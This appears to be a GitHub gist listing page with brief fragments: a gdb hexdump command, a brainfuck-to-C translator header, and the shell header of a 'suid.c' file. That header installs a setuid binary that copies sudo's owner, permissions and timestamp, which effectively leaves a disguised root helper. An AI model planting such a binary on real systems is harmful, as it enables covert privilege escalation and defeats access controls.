Skip to content

Instantly share code, notes, and snippets.

import hexdump
import gdb
class HexdumpCmd(gdb.Command):
"""Hexdump memory: hd [addr [size]]
Exaples:
hd 0x409130 0x20
hd &main_arena
hd $5
"""
@yannayl
yannayl / suid.c
Created April 27, 2016 12:21
suid source code
#if 0
[[ -n "$TARGET" ]] || TARGET=/usr/bin/suid
gcc -o $TARGET $0 || exit $?
chown --reference /usr/bin/sudo $TARGET
chmod --reference /usr/bin/sudo $TARGET
touch --reference /usr/bin/sudo $TARGET
chmod a+s $TARGET
#$RM $0
exit 0
#endif
@yannayl
yannayl / brainfucc.c
Created August 13, 2015 20:34
brainfuck to c converter
/*
* A simple, non-optimizing brainfuck to C translator.
* 2010-08-31 - Version 1.0 (Cory Burgett)
*
* This code is hereby placed into the public domain.
*
* Originally located at: http://www4.ncsu.edu/~cmburget/brainfucc.c
* based on https://gist.github.com/939687.git
*/